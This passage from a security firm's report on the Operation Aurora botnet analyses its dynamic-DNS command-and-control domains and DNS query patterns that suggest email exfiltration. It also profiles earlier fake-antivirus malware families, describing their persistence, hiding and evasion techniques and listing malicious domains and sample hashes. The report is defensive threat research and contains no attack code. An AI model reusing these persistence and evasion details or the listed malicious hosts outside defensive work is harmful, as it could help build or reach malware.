it must first discover the delegation of the zone to the No-IP authority name servers. ( To save space, these steps are not shown in the figure above). The overall delegation of authority is shown in the figure as a tree. The hosts nf[1-4].no-ip.com are the authorities for the CnC zone. Thus, the victim networks recursive server discovers these name servers, queries for the Aurora CnC domain, and caches the answer. Dynamic DNS and IP-Agility Botnets have used Dynamic DNS services (DDNS) for nearly 8 years. For the most part, the role of DDNS in professional, criminal botnets is historic. Concentrated cleanup efforts and a few well documented arrests have changed the class of botmaster using DDNS. For the most part, professional cyber criminals do not use DDNS for botnet rallying, since DDNS providers: The Command Structure of the Aurora Botnet Page 12 a) are generally responsive to law enforcement b) keep logs and c) a few are famously known to actively monitor and remediate their networks. Since 2007, most professional criminal botnet CnCs (e.g., Russian mafia) have moved away from DDNS, because of the aggressive stance taken by the major DDNS providers against botnet abuse. While there has been a recent return of novice botmasters to the free DNS services, the professional criminal botmasters have largely moved on to more resilient, agile DNS technologies. For example, professional botnets buy tens of thousands of domain names, and use domain agility instead of the IP agility found in DDNS. The best example of this is Conficker. C. The decline in professional botnet use of DDNS services has been so dramatic that many anti-botnet researchers changed their focus to new areas of threat. The average botmaster still using DDNS is generally a novice, and the malware they seed on victim machines is often kit-generated. There are a few exceptions where amateur botmasters evolve into professionals, but the bulk of botnets relying upon DDNS remain novice efforts, and use only a few domain names with a single DDNS provider. The Aurora botnet uses DDNS and old school coordination techniques not used by sophisticated botmasters who have the means to purchase and manage dozens of domain names. And yet despite having the signature of a novice effort, it also used numerous different DDNS services. Network Analysis The network analysis in this report encompasses the CnC domain names known to be publicly associated with the Aurora attacks, plus an additional four non-public domains (listed below) which are related to the criminal operators behind the Aurora attacks through shared DDNS registration credentials and their synchronized management. Domain Authority Creation Date (UTC) CnC_Domain.1 December 15, 2009 CnC_Domain.2 December 15, 2009 CnC_Domain.3 July 13, 2009 CnC_Domain.4 December 15, 2009 blog1.servebeer.com December 15, 2009 Table 2: DDNS botnets with characteristics identical to the Aurora botnet and shared DDNS credentials. The first four of these CnC domains have been intentionally obscured. The DNS TTL data associated with these interlinked Aurora domain names reveals that there were different phases to their use. The figure below indicates when a particular CnC domain name was sinkholed or idle (i.e. not pointing to a specific Internet IP address, or pointing to a local loopback address such as 127.0.0.1), it was pointing at probable development IP addresses as the criminal operators experimented with their attack tools, such as when the CnC domain names were pointing at the IP addresses associated with two of the CnC servers used during the Aurora attack. The Command Structure of the Aurora Botnet Page 13 Figure 5: CnC domain name transition changes as the attackers developed botnet attacks. Based upon passively obtained DNS resolution data from sensors scattered around the globe (but predominantly US based), Damballa observed that several key CnC domains resolved to different server IP addresses over the period of study. The transitions from one IP address to another can be used to identify the different phases of botnet development (e.g. as depicted in the figure above), as well as the nature of the CnC servers hosting and botnet topology (e.g. whether parts of the CnC network were using fast-flux services). The table below lists the number of IP address changes to the CnC domain name resolution and is a lower bound number, since Damballa does not monitor all Internet traffic. CnC Domain Name Distinct IP Addresses baltika1.servebeer.com 50 m7been.zapto.org 50 miecros.info 4 mcsmc.org 3 yahoo.blogdns.net 5 filoups.info 2 google.homeunix.com 2 Table 3: The number of distinct IP addresses observed by Damballa and associated with each of the CnC domain names for the period of August 2009 to the Google Aurora disclosure on January 12, 2010. The Command Structure of the Aurora Botnet Page 14 Overview of CnC Domains Not all of the authority servers hosted by the DDNS providers for this botnet were monitored by Damballa and sampling practices were adopted for this analysis. In general, for large botnets, the sampling this produces is more than adequate to detect professional cyber criminal botnets. Around 5,236 recursive DNS servers visiting the Aurora CnC authorities used BIND. The table below lists the major types. Damballa identified a signature specific to Chinese closed recursive DNS servers that provides policy insight to some selected resolvers. The table below provides counts of queries from recursive DNS servers for both ISO-3166 country code and qtype. All data was gathered on or before January 11, 2010 (the eve of the Google public announcement) to avoid polluting queries from the press and researchers. It is estimated that Google discovered this attack in mid to late December, 2009, so some of the resolution traffic could be associated with their internal remediation. The table also demonstrates that only US victims were required to perform MX queries, hinting at data extraction via SMTP mail services. Query Type US CN Others 15 (MX) 143,015 0 0 1 (A) 52,787 644 676 28 (AAAA) 12,254 84 0 Table 4: Breakdown of qtype by country code of recursive, for all five studied Aurora botnet CnCs. Highlights: (a) Only the US victims were compelled to perform MX queries (qtype 15) all networks in China and other countries never performed an MX query (b) No AAAA (qtype 28) queries were performed by international victims, who were presumably collateral victims the pairing of AAAA to A queries is discussed below and (c) Most queries were MX (68 overall), and the attack heavily biased towards the US (also 68 overall). CnC Domains over Time Damballas analysis of DNS data has revealed the very early origin (July 2009) of the botnet. Even during this early deployment, the botnet was widely dispersed. Since these were the first DNS resolutions for these attacks, it is reasonable to assume they are associated with the botmaster (e.g., testing or configuring their attack), and not victims. Thus, these resolutions might correspond to several CnC sites. If this theory is correct, it suggests that, despite using naive DDNS services typical of novice botnet operators, the Aurora botmasters had considerable resources available to them. CnC_Domain.1 The first resolution for CnC_Domain.1 came from within Google Chinas offices. It was followed hours later by resolutions inside Googles offices in Mountain View, California. The pattern of lookups is remarkable, and is worth closer study. The first queries for CnC_Domain.1 were: 2009-12-16 05:26:44 AAAA (Google China) 2009-12-17 22:39:09 AAAA (Google Mountain View) 2009-12-17 22:39:09 A (Google Mountain View) The Command Structure of the Aurora Botnet Page 15 Counting Attempted Exfiltration Events Other patterns of DNS messages in CnC_Domain.1 suggest the attempted exfiltration of data. Consider this ordering of queries: 2009-12-18 06:29:09 MX (Google Mountain View) 2009-12-18 06:29:09 A (Google Mountain View) The queries both happen in under a second, indicating that a host using a recursive resolver wished to send email to the CnC_Domain.1 CnC (hence the MX lookup). Dynamic DNS zones, however, almost never have valid MX RRsets, or if they do they are pointed to abusetraps or spamtraps. Only a few DDNS providers offer mail, and the first query was therefore answered with an empty record (NOERROR status, with zero answers). As a result, the victim immediately performed an A query, to use the IP address for email. Whether these queries were followed by actual or successful email events is not known. All MX queries in CnC_Domain.1 came from the United States (and no other network outside the US performed such a query before the news broke). Before January 10th 2010, some 110,810 MX queries came from Google Mountain View, and one came from Comcast (San Jose). This Comcast- based query may have been testing by a Google security engineer, or it may have been an infection on a notebook after work (since the query took place in the late evening hours, PST). From the volume of messages, it is presumed that each MX query corresponds to a single email exfiltration attempt. It would be hard to imagine a botmaster being able to direct these events individually. Thus, it may not be the case that bots were instructed to email materials when a specific event took place. Or the consistent pattern of queries could be the result of persistent searches of a hard drive, and attempted, periodic exfiltration of any useful data. This conclusion is speculation. The lack of any diurnal pattern to these events does indicate that the trigger event for an MX lookup was not human-driven (e.g., the arrival of email on a victim machine, or selected actions by the botmaster). It is not known what information was taken, if any, or if these queries were in fact victim behavior. Public accounts from Google indicate that the attackers sought email records of human rights activists. It is speculated that Google would have prevented the direct-to-MX behavior of hosts within their network. That is, in many corporate networks, individual user machines are prohibited from sending email directly, and must instead use a smart host or authenticated relay system. Thus, these MX lookups may well be side effect of an unsuccessful exfiltration effort. The malware also used ports 443 and 8585 for CnC, and could be instructed to perform any command. CnC_Domain.3 The CnC_Domain.3 CnC domain is interesting because of its age. The botnet dates back to July 14, 2009, fell dormant for months, and then became active again within Googles network. Of the five CnC domains studied in detail within this report, this is the oldest, and most strongly suggests an origin for the botnet. The early queries for the Aurora CnC domain CnC_Domain.3 took place in the HangZhou region, with some occurring in Beijing. The domain had a remarkable number of queries from mainland China The Command Structure of the Aurora Botnet Page 16 and collocation facilities in the US within minutes of being created. Seconds later, another query came from Chinanets network in the Chongqing area. The close timing of these suggests the owners of CnC_Domain.3 had access to ISP, university, and commercial transit. 2009-07-14 02:50:03 A (HiNet Taiwan) 2009-07-14 02:57:38 A (CHINANET Jiangsu) 2009-07-14 02:58:31 A (CHINANET HangZhou) 2009-07-14 03:03:11 A (HangZhou Institute of Electronic Engineering) 2009-07-14 03:03:44 A (CHINANET Chongqing) 2009-07-14 03:04:28 A (FDC Servers, US Chicago) 2009-07-14 03:13:18 A (Level 3, US Washington) The pattern of these lookups suggests that the author was performing testing, and had access to two different transits (e.g., a school network and an ISP). CnC_Domain.2 The first query for the CnC_Domain.2 domain came from Googles Mountain View recursive. 2009-12-17 22:39:09 AAAA (Google Mountain View) 2009-12-18 06:27:58 MX (Google Mountain View) 2009-12-18 06:27:58 A (Google Mountain View) 2009-12-18 18:15:18 AAAA (Comcast San Jose) 2009-12-18 18:15:18 A (Comcast San Jose) 2009-12-18 18:15:18 MX (Comcast San Jose) 2009-12-18 18:19:30 AAAA (Google-IT) 2009-12-18 18:19:30 A (Google-IT) The CnC_Domain.2 CnC domain is also notable because it witnessed queries from many other networks outside of Google before the public news broke. This domain has never been identified publicly as part of Aurora. Networks performing queries up to January 10, 2010 include numerous ISPs. Observed Loss of Queries When a botnet is remediated at the DNS level, the associated victims continue to query the authority DNS server. Unless and until the local network cleans the hosts or imposes network blocks, victim traffic to the authority will continue. A sudden loss of network traffic from a country, however, can be unusual, particularly where the victims are spread over disparate (heterogeneous policy) networks. That is, it is unlikely that many different networks would simultaneously remediate hosts. Thus, while it may seem likely that all victims in a single network disappear (e.g., as when a network operator deploys a firewall rule), it is remarkable when all victims in diverse policy boundaries also disappear. Such centralized control speaks to the management of the botnet, and gives clues as to the policy preferences of the botmaster to attack/not attack a given suite of networks or countries. Hosts performing DNS queries exhibited a random pattern of A queries. The TTL periods for the CnC domains was always short, meaning there was only a short period of time during which a stub query could be answered from cache, and not recorded at the authority. This behavior is typical of fast flux The Command Structure of the Aurora Botnet Page 17 networks. An increase in TTL from 60 to 360 seconds was identified, which signifies the cut over from the default zone TTL to the SOA.minimum used for wildcarded domains. Thus, the DDNS domains used in the attack appear to have been deregistered before December 18 and remained open for anyone in the world to register until the first week of January 2010. The Malware Evolution Aurora malware families date as far back as August of 2009. This trail helps determine the evolution and common characteristics of malware used by Operation Aurora, as well as a common modus operandi on the bot agents deployed as part of the attacks. The result is more than just an analysis of individual malware families. Rather, it helps profile the criminal operators behind Aurora via: Malware Delivery Method How does the malware get into the system? Is there a common delivery method or is it random? System Behavior Are the symptoms evident in the system common to all Aurora malware families or do they differ? Do the families use the same infection techniques, protection mechanisms and/or AV evasion techniques? Network Behavior Do the malware families exhibit the same network behavior? CnC Server Trials Powered by Zero-Day Malware Variants The table below lists significant events in the deployment and use of one of the Aurora botnet CnC servers known to the public, filoups.info, based on our data mining and analysis of malware samples and network traffic collected by Damballa. Several initial trials were conducted by the botnet operator prior to the production use of this CnC server. The first set of CnC domains appeared in a FakeAV Trojan malware family1-a in the beginning of May 2009. There were several variants of the family1 malware in the wild in 2009. The second set of CnC domains was used by a new family1-b malware variant in October 2009. By leveraging new Zero-Day malware variants, the botnet operator(s) could easily evade AV product detection and experiment with different CnC domain construction and communication. For example, different combinations of CnC domains were tried by both family1-c and family1-d malware variants in late October 2009. Finally, the CnC domain filoups.info was deployed and used by malware family1-e in November 2009. Domain mcsmc.org X X X X X thcway.info X X miecros.info X mnprfix.cn X micronetsys.org X filoups.info X MD5 family1-a family1-b family1-c family1-d family1-e Date 5/2/2009 8/18/2009 10/20/2009 10/22/2009 11/26/2009 Table 5: Botnet CnC trial evolution powered by Zero-Day malware variants. The Command Structure of the Aurora Botnet Page 18 The family1-e malware is part of Fake AV Alert/Scareware family analyzed below. The behavior of Fake Alert/Scareware is quite similar to Trojan. Hydraq malware associated with the actual Aurora attacks, albeit in a much more primitive form. Sample Analysis Details The additional samples in Damballas possession that have been clustered as part of Aurora botnet malware can be separated into two distinct families of Fake AV Alert / Scareware: Login Software 2009 and Microsoft Antispyware Services. The first samples of each family were discovered by Damballa on November 26 2009 and August 19, 2009 respectively. The analysis details are broken down into the following: First Discovered The time when the sample was first discovered and acquired by Damballa. Prevalence The date range when the samples are still being seen in the wild by Damballa. Infection Vector How the samples are delivered to the unsuspecting victims. Symptoms Observable behaviors in the system that signals the possible presence of malware without actually looking at the registry or searching for the malware file itself. System Behavior How the malware works its way through the system to execute its objective. Network Behavior A detailed look at how the malware utilizes the domains it connects to. Protection Mechanism How the malware hides from the user or system inspection tools. AV Evasion Techniques How the malware protects itself from being detected by AV host solutions. Intent The main purpose of the malware family The Command Structure of the Aurora Botnet Page 19 Fake AV Alert / Scareware Login Software 2009 Fake Microsoft Antispyware Service Discovered 2009-11-26 2009-08-19 Prevalence November 2009 January 2010 August 2009 September 2009 Infection Vector Fake AV alerts on compromised or malicious Web sites Fake AV / Scareware Symptoms Login Software 2009 process in startup Menu Bar and Toolbar of Internet Explorer is missing System Restore is disabled Folder Options in Windows Explorer is disabled Extensions of known file types are hidden Registry Tools disabled, rendering registry editing inoperable Local Settings folder under C:\Documents and Settings\User\ (where the malware dropper places the dropped and downloaded executables) Presence of C:\Documents and Settings\User\Windows\system folder Pop-up ads Presence of tracking cookies and displays ads from: counter.surfcounters.com looksmart.com maxsun.biz moreverde.com oranges88.com smarttechnik.com www.prma-enhance.com Microsoft Antispyware Services process in startup System Behavior Malware propagates through fake malware alerts. The supposed AV installer is actually the malware dropper. Its main purpose is to drop and install the rest of the malware components. Upon execution, it assigns a specific ID to the compromised host, then Malware propagates through fake malware alerts. The supposed AV installer is actually the malware dropper. Its main purpose is to drop and install the rest of the malware components, typically: The Command Structure of the Aurora Botnet Page 20 registers it to its malware server Web site and downloads the rest of the malware to the compromised host. To ensure that the malware is downloaded, the creator of this malware dropper uses redundancy in its malware serving Web infrastructure. The dropper checks three different Web sites: mcsmc.org micronetsys.org mnprfix.cn When Damballa discovered this malware dropper in August 2009, the downloaded executable was version 0. The current version is 3. The functionalities remain similar. After the successful download of the main component, the main dropper generates a random name and copies the downloaded component to C:\Documents and Settings\User\Local Settings folder. It calls itself Login Software 2009. The dropped file is then executed to make it active in memory. It survives reboot by autostarting using a common registry entry: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run The rest of the components must also be downloaded and executed for them to be active. They are placed in the same folder as the first dropped file. These components create exact copies of themselves with names varying from: debug.exe mqbxt.exe msinits.exe win16.exe winlogon.exe lsass.exe drweb.exe taskmgr.exe win32.exe EXE The component posing as Microsoft Antispyware Services VXD The main dropper downloads and installs ntconf32.vxd, ntsys32.vxd, msimsg32.vxd SYS The main dropper downloads and installs msconfig32.sys Once the dropper has executed, it can easily bypass UAC since it is given explicit permission by the user, who thought the installation was a real AV product. The first thing the dropper does is to connect to its malware server domain to download its components. The VXD components are often connected to malware families that have keylogging and spyware behavior. They are also found in some IRC bots. The SYS Component is related to the publicly known and notoriously popular Aurora variant tied to the Google attack. The EXE component disguises itself as Microsoft Antispyware Services. It runs on Startup using two basic registry keys: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVers ion\Run and HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Run This screen capture shows the dropper attempting to connect to Amazon EC2. The Command Structure of the Aurora Botnet Page 21 These components are hidden from the user by hiding the folder where they are dropped and changing the attributes of the dropped files to hidden. To survive reboot, these components also are set to autostart using the same technique as the main dropped file. A DLL file is also dropped in C:\Windows\System32 with a random filename. Aside from registering (regsvr32.exe) the dropped DLL file to make it active, the malware dropper also modifies the registry to see it as a Browser Helper Object (BHO). It also sets up the DLL to autostart every boot up by using SharedTaskScheduler: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ SharedTaskScheduler This process paves the way for tracking cookies to be downloaded for ads to be served to the compromised host. This DLL is not hidden unlike the other components. After setting up all the dropped files, the main dropper protects the dropped files by manipulating the settings of Windows Explorer and Internet Explorer. See Protection Mechanism section for more details. Once all of these malware installation tasks are completed by the main dropper, the main dropper activates a batch file to unload itself from memory and deletes both the dropper and the batch file. The installed malware set is now all active and ready to communicate with CnC. This screen capture shows a memory string dump that reveals the CnC sought by the EXE malware component. The Command Structure of the Aurora Botnet Page 22 This screen capture shows a memory string dump that reveals the CnC sought by the EXE malware component Network Behavior The malware uses domains for two purposes: a malware server domain that hosts the dropped executables and a CnC connection to listen for additional commands. The malware uses domains for two purposes: malware server domain that hosts the dropped executables and a CnC connection to listen for additional commands. This malware uses Amazons EC2 services to serve its malware components. Malware Server Domains mcsmc.org micronetsys.org mnprfix.cn ec2-79-125-21-42.eu-west-1.compute.amazonaws.com ip-173-201-21-161.ip.secureserver.net inekoncuba.inekon.co.cu The Command Structure of the Aurora Botnet Page 23 CnC Domains filoups.info miecros.info The dropped samples do not listen to the same CnC most of the time. Each listens to a different CnC using a different port. google.homeunix.com yahoo.blogdns.net voanews.ath.cx ymail.ath.cx Protection Mechanism The main dropper also utilizes Malware Self Preservation by doing the following before it self-destructs: Hides the location of the malware dropped files by setting the location folder as hidden and the dropped files themselves as hidden. Disables Folder Options in Windows Explorer Disables Show hidden files and folders in Windows Explorer Hides Internet Explorers Menu Bar and Toolbar Disables System Restore Disables Registry editing None observed. AV Evasion Techniques No two dropped files are the same. The malware uses GetTickCount to generate random keys to randomize the hex structure of dropped files. One dropped file (273a51aada271e5a4a91321a3126c767) is packed using FSG v1.3.3. None observed. Intent Money generation through pop-up ads and Web site redirection Keylogging and spyware. MD5 Information Samples Collected/Discovered by Damballa ITW: 02677a0770268a20f7ef0d9bd7e8eef1 9803c22252a028b050f6257e7a67d4b7 69ef60094052321d91c0094efd832b92 6e245522d710ca1564e6873a3a0e82bd 0c091b4f6b23b450ccc3d37ccff6cdd6 994a379ff057724248d8435c9be45c1f b5b7146b07b0a0804b36b8056f316722 65510cda14bcefd2419eb1262a6d6829 Samples Collected/Discovered by Damballa ITW: a4a63756c39e345e31f1e8e698ea03a6 2794cacb3f177f340dee0aa2a71bdf1c 2f6c8d68392839cb4615c455cd25fc9c 20ddc972f71c8e584ed2c43254eb811b 1326879b25dd0d7452d7a4b674165a5a () denotes that no Rich signature present in the file () encrypted The Command Structure of the Aurora Botnet Page 24 01b9c2c916e6d9a82bfc5912348a231f 0b4872a4f20760739b0007c6b2dc08bd 253f59417c6c784d6c0e5565736d1815 273a51aada271e5a4a91321a3126c767 325566e0871ac3d4fccfbb0b4efd8d07 38ee6476ffe7473707520ef7f5ed5ecb 62686fd8a1c24abfb7a621e5629ce4ab 69ef60094052321d91c0094efd832b92 6e245522d710ca1564e6873a3a0e82bd 73a88fa854e766d5d3e712db8291bcc8 863a096685354b2730ad9dfd7e91e942 b8a177d99854ccc71e94a4a6645e85e7 d112a2ed6c675158295acb4824b481d8 feb88ea662de113dcafbe45bdece82fc () denotes that no Rich signature present in the file () encrypted Malware Diagram The Command Structure of the Aurora Botnet Page 25 Malware Summary of Findings and Analysis The predecessor Aurora malware comes from two different families. The newer family came immediately 2 months after the older family, and there was no overlap in their prevalence. For the older family, there was neither an observable protection mechanism nor an AV evasion technique. It was simply a dropper for keylogger files. The newer family has some protection mechanisms and AV evasion techniques. However, it lacks the sophistication found in other botnet malware families. Below is a summary of the findings of the two malware families that were analyzed. Common characteristics: 1. Served through fake AV hosting Web sites (no longer available) 2. Common autostart techniques 3. Common older stealth techniques 4. Multiple malware server domains to improve resiliency 5. Droppers and dropped files (EXE and DLLs) were compiled using Microsoft compilers Differences: 1. Main malware component: a. November 2009 Family uses DLL file as one of its components b. August 2009 Family uses VXD and SYS files 2. Main function: a. November 2009 Family pop-up ads b. August 2009 Family Suspected keylogger (actual files are no longer available for analysis) 3. Protection Mechanism: a. November 2009 Family uses basic protection mechanisms to hide itself b. August 2009 Family none observed Comparing them to Trojan. Hydraq: 1. Code obfuscation Trojan. Hydraq uses spaghetti code in which program elements are separated into small chunks and connected via jump instructions. This technique complicates following the code, and is similar to the tactics employed in old PE viruses that write to small spaces in the host and connect themselves through jump instructions. November 2009 Family Does not use any code obfuscation. One dropped file is actually packed using FSG v1.33. August 2009 Family None observed. 2. Autostart Technique Trojan. Hydraq uses Svchost process in Windows by adding its service name in netsvcs. When Windows starts, it will load the service into memory. November 2009 Family Uses common autostart technique using the Run key. The Command Structure of the Aurora Botnet Page 26 August 2009 Family Uses common autostart technique using the Run key. 3. Intent / Payload Trojan. Hydraq Information gathering November 2009 Family Pops up ads and Web site redirector August 2009 Family Information gathering Malware Significance Basing on the profile of the two malware families that were analyzed, they are obviously different from each other. The key thing they have in common is that the CnC they utilize are publicly associated with the Aurora botnet. The botnet controllers preyed on the fear of users that their system is infected with malware. This method saves the botnet controllers from the technical complexity of bypassing Windows UAC by using the weakest link in host security which is the user. The misled user typically clicks OK to everything, bypassing UAC and giving the malware dropper explicit permission to execute. Neither of the malware predecessor families exhibit the sophistication found in newer malware. Some of the evasion techniques are almost a decade old.
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Both families use two sets of domains: one for serving malware and the other for CnC.
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data/reports_final/0254.txt
Both families use two sets of domains: one for serving malware and the other for CnC. The droppers and dropped files were compiled using Microsoft Compilers. This is evidenced by the presence of the string Rich before the PE header. This watermark is undocumented, meaning there is no mention of this watermark from Microsoft references but they are present in binaries compiled using Microsoft Compilers. Knowing the compiler of choice might help investigators narrow down the individuals or group of individuals responsible for the code. The simplicity and relative obsolescence of the early versions of the Aurora malware suggest that these malware families were created or written by an individual or group of individuals new to the production of commercial grade malware. Based solely on these families of malwares, it also appears that different individuals or group of individuals created the code: The only association the different families have with each other is that they used CnCs associated with Operation Aurora, and they were distributed via similar means. That said, it is possible that two different groups purchased the services of the same crimeware group (probably the same people behind Operation Aurora) to distribute and manage their malware family. Or the crimeware group rented out different variants of the same malware to different groups with different intentions. Price may also be a factor. The less resilient the malware family is, the cheaper it is to purchase or rent. The intent of each malware family is different. There is no natural progression seen between the two families. Usually malware writers evolve in both technology and protection of their creation but these two families did not show any related evolution. The malware families appear to exist independently, and then become superseded by Trojan. Hydraq. Piecing it Together Damballa analyzed network DNS information from a number of distinct and complementary sources ranging from global monitoring systems, enterprise monitoring sensors, passive DNS resolution data The Command Structure of the Aurora Botnet Page 27 and other DNS streams for this report. At the same time, Damballa also analyzed the malware commonly associated with the Aurora attacks disclosed by Google in January. The result has been a definite correlation between key CnC channels with other malware families that are associated with the criminal operators behind the Aurora botnet. Based upon our analysis of this attack and the surrounding evidence currently available, we classify the attacks against Google and the other previously identified victim organizations as being typical of current botnet criminal practices. The attack is most notable not for its advanced use of an Internet Explorer 6 Zero-Day exploit, but rather for its unsophisticated design and a pedigree that points to a fast-learning but nevertheless amateur criminal botnet team. DDNS Findings Summary Based upon Damballas investigation of DDNS data, the key findings are as follows: 1. The botnet has a simple command topology and makes extensive use of DDNS CnC techniques. The construction of the botnet would be classed as old-school, and is rarely used by professional botnet criminal operators any more. However, such reliance upon DDNS CnC is commonly associated with new and amateur botnet operators 2. There were several CnC domains were identified based upon key characteristics of the registration and management of the previously publicly disclosed CnC domains. 3. The major pattern of attacks in mid-December appear to have their origin in July 2009 in mainland China. This likely corresponds to early testing of the botnet CnC. 4. Some of the infections appeared to start within Googles network. Some of apparent botnet the traffic is not consistent with an IE6/WinXP infection and cannot be easily explained. 5. The attackers had access to large numbers of CnC hosts in geographically diverse hosting co- locations certainly a high number for a botnet. Further, the botnet used over a dozen domains in diverse DDNS networks for CnC. 6. Only the US victims were compelled to perform MX queries, an event that would typically indicate attempted document exfiltration via email services. 7. Some of the botnets focused on victims outside of Google, suggesting that each domain might have been dedicated to a distinct class or vertical of victims. 8. A review of the TTL period suggests that botmasters de-registered their domains around December 18, 2009. Passive DNS Data Summary Based upon analysis of DNS resolution data gathered through a global network of passive DNS monitoring sensors, the key findings are as follows: 1. Cumulative volume of CnC domain name resolutions provides adequate sampling to identify the initialization and growth phases of the Aurora botnet, which also reveals active operation of the CnC channels dating back to June 14th 2009. 2. The victims computers connected to, or were part of, 64 different networks, based upon Autonomous Systems (AS) breakdown of Internet netblocks which could represent the upper bound of organizations that may have been breached in the larger Aurora attack. Some organizations (such as Google) own and manage several AS networks. Some of the other AS networks were associated with public Internet Service Providers, which may encompass multiple small and medium businesses. The Command Structure of the Aurora Botnet Page 28 3. The various CnC domains used by the criminal botnet operators peaked at different times with different rates of lookup by victim systems. These observations correspond to different campaigns run in parallel by different botnet operators and represent the widely publicized attacks that appeared to make use of the Internet Explorer 6 Zero-Day exploit. It is a common tactic by botnet operators to run multiple campaigns at the same time, using different infection vectors (e.g. drive-by downloads, FakeAV, USB infections, etc.) over extended periods of time. This strategy is very consistent with APT campaign methodologies. 4. The vast majority of victim systems appear to have been based in the United States. 5. It is possible to identify the various CnC testing, deployment, management and shutdown phases of the Aurora botnet CnC channels. Some of the CnC domains appear to have been dormant for a period of time after they had infected number victim systems. This type of activity can sometimes be associated with an update to the botnet malware or if the criminal operator sells/trades a segment of the botnet to another criminal operator. Malware Analysis Summary Damballa has an array of sources for obtaining new and Zero-Day malware that range from commercial security sharing programs and spam traps to samples gathered from within its enterprise customers networks. By automatically analyzing tens-of-thousands of new and unique samples each day and extracting their CnC behaviors, Damballa can cluster these malware variants with different botnets. Based upon our analysis of malware samples that relied upon the Aurora CnC domains, our key findings are as follows: 1. The botnet operators behind the Google Aurora attacks deployed other malware families prior to the Trojan. Hydraq release. Some of these releases overlapped with each other. 2. Two additional families of malware (and their evolutionary variants) were identified as Fake AV Alert / Scareware Login Software 2009 and Fake Microsoft Antispyware Service both of which were deployed using fake antivirus infection messages to socially engineering the victim into installing the malicious botnet agents. 3. By tracking the evolution of the malware, Damballa was able to identify additional botnet CnC domains used by the criminal operators and establish a timeline of malware associations going back to May 2nd 2009, based upon when a malware sample was captured within an enterprise customer network. 4. Over the time period of this study, the botnet operators improved upon the malware they were deploying. The relative sophistication and armoring of the malware families grow over the months the operators were deploying it, and when they transitioned to entirely new malware families. 5. The major malware families associated with the Aurora botnet attacks are distinct and are unlikely to have been developed by the same malware engineer. This finding is typical of the botnets that Damballa observes targeting enterprise networks. Relatively few botnet criminal operators develop and maintain their own malware. Instead, they typically rely upon third- party contractors or off-the-shelf malware construction kits. As such, core features and functionality changes can occur overnight, but the CnC transitions slowly as the botnet operator ensures that backup CnC domains remain in operation until the victim malware updates (or migration) is complete. The Command Structure of the Aurora Botnet Page 29 Conclusions Damballas findings concerning Operation Aurora can be summarized by the following: At the time the attack was first noticed by Google in December 2009, systems within at least 7 countries had already been affected. By the time Google made the public disclosure of the attack on January 12 2010, systems in over 22 countries had been affected and were attempting to contact the CnC servers - the top five countries being the United States, China, Germany, Taiwan and the United Kingdom. The Trojan. Hydraq malware, which has been previously identified as the primary malware used by the attackers, is actually a later staging of a series of malware used in the attacks which consisted of at least three different malware families. Two additional families of malware (and their evolutionary variants) have been identified, and they were deployed using fake antivirus infection messages tricking the victim into installing the malicious botnet agents. The attacks that eventually targeted Google can be traced back to July 2009, with what appears to be the first testing of the botnet by its criminal operators. The analysis identifies the various CnC testing, deployment, management and shutdown phases of the botnet CnC channels. The botnets used dozens of domains in diverse Dynamic DNS networks for CnC. Some of the botnets focused on victims outside of Google, suggesting that each set of domains might have been dedicated to a distinct class or vertical of victims. Some of the CnC domains appear to have been dormant for a period of time after they had infected a number of victim systems. This can occur after the botnet operator has updated the botnet malware with new (more powerful) variants or when the criminal operator sells/trades a segment of the botnet to another criminal operator. There were network artifacts that suggest that the botnet malware operating with the US-based victims networks made use of email services to extract the stolen data from the breached organizations. There is evidence that there were multiple criminal operators involved, and that the botnet operators were of an amateur level. The botnet has a simple command topology and makes extensive use of Dynamic DNS CnC techniques. The construction of the botnet would be classed as old-school, and is rarely used by professional botnet criminal operators today Damballa was able to discover these details on Operation Aurora because of a different approach to researching and neutralizing botnets and other remote-controlled crimeware threats. Command-and- Control not malware or access point for the attack vector is the essential element for a successful botnet attack. Everything else about a botnet may change, but CnC must remain in place for the botnet to act in any sort of cohesive manner. Damballa is the only company that monitors detailed criminal CnC activity within enterprise networks and uses this focus to detect and sever malicious CnC communications. As a result, Damballa has been collecting CnC data for over 4 years, utilizing a globe-spanning array of network sensors within large enterprise customers and Internet Service Provider (ISP) customers. It is this deep visibility into Operation Aurora Cnc that revealed the details in this report. Although the methods used in Operation Aurora are amateurish and commonplace, the results were just as damaging as a sophisticated botnet because the threat was not quickly identified and neutralized. Auroras success proves that any breach by a botnet agent, regardless of the quality of the attack vector, is a dangerous security exposure. The result is always hidden and criminal remote The Command Structure of the Aurora Botnet Page 30 control of enterprise assets, with all of the legal, financial and reputational liabilities that accompany such a serious security lapse. Additional Reading How can I tell if I was infected by aurora, McAfee, 2010, http://www.mcafee.com/us/local_content/reports/how_can_u_tell.pdf Extracting CnC from Malware: The Role of Malware Sample Analysis in Botnet Detection, Damballa, 2009, http://www.damballa.com/downloads/r_pubs/WP_Malware_Samples_Botnet_Detection.pdf Serial Variant Evasion Tactics: Techniques Used to Automatically Bypass Antivirus Technologies, Damballa, 2009, http://www.damballa.com/downloads/r_pubs/WP_SerialVariantEvasionTactics.pdf Botnet Communication Topologies: Understanding the intricacies of botnet Command-and-Control, Damballa, 2009, http://www.damballa.com/downloads/r_pubs/WP_Botnet_Communications_Primer.pdf The Botnet vs. Malware Relationship: The One-to-One Botnet Myth, Damballa, 2009, http://www.damballa.com/downloads/d_pubs/WP_Botnet_vs_Malware.pdf MTrends: The Advanced Persistent Threat, Mandiant, 2010 Google china cyberattack part of vast espionage campaign, experts say, Washington Post, 2010, http://www.washingtonpost.com/wp-dyn/content/article/2010/01/13/AR2010011300359.html Trojan.hydraq, Symantec, 2010, http://www.symantec.com/security_response/writeup.jsp?docid2010- 011114-1830-99 Contributors Manos Antonakakis Christopher Elisan David Dagon Gunter Ollmann Erik Wu The Command Structure of the Aurora Botnet Page 31 About Damballa, Inc. Damballa stops crimeware threats that exploit enterprise networks for illegal activity by finding and disrupting the hidden communications channels used to control internal servers and hosts. This concentrated focus on malicious remote control delivers fast, accurate insight into advanced network threats, including termination of criminal activity and remediation guidance. Damballas technology integrates easily with existing infrastructure for cost-effective protection against dangerous security breaches that evade other solutions. The result is smarter, more flexible network security that stops current and future threats, prevents fiduciary breaches and enhances regulatory compliance. Damballas customers include major banks, Internet service providers, government agencies, educational organizations, manufacturers and other organizations concerned with taking back the command-and-control of their networks. Privately held, Damballa is headquartered 